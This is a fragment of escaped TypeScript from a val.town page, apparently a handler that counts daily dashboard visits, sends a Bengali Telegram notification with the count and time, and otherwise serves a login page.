${userData.count}/3\\n⏰ সময়: ${new Date().toLocaleString(\"bn-BD\")}\\n\\n${userData.count === 3 ? \"⚠️ আজকের সীমা পূর্ণ হয়েছে!\" : `✅ আরো ${3 - userData.count}টি ভিজিট বাকি`}`;\n \n await sendTelegramMessage(chatId, visitMessage);\n\n return new Response(JSON.stringify({ success: true, count: userData.count }), {\n headers: { \"Content-Type\": \"application/json\" },\n });\n } catch (error) {\n console.error(\"Error handling dashboard visit:\", error);\n return new Response(JSON.stringify({ error: \"Failed to process dashboard visit\" }), {\n status: 500,\n headers: { \"Content-Type\": \"application/json\" },\n });\n }\n }\n\n return createHTMLResponse(\"Login\");\n}","deleted","label",[98],"permalink","https://www.val.town/x/wahobd/untitled-6400/code/main.tsx","extension","actionData","errors"]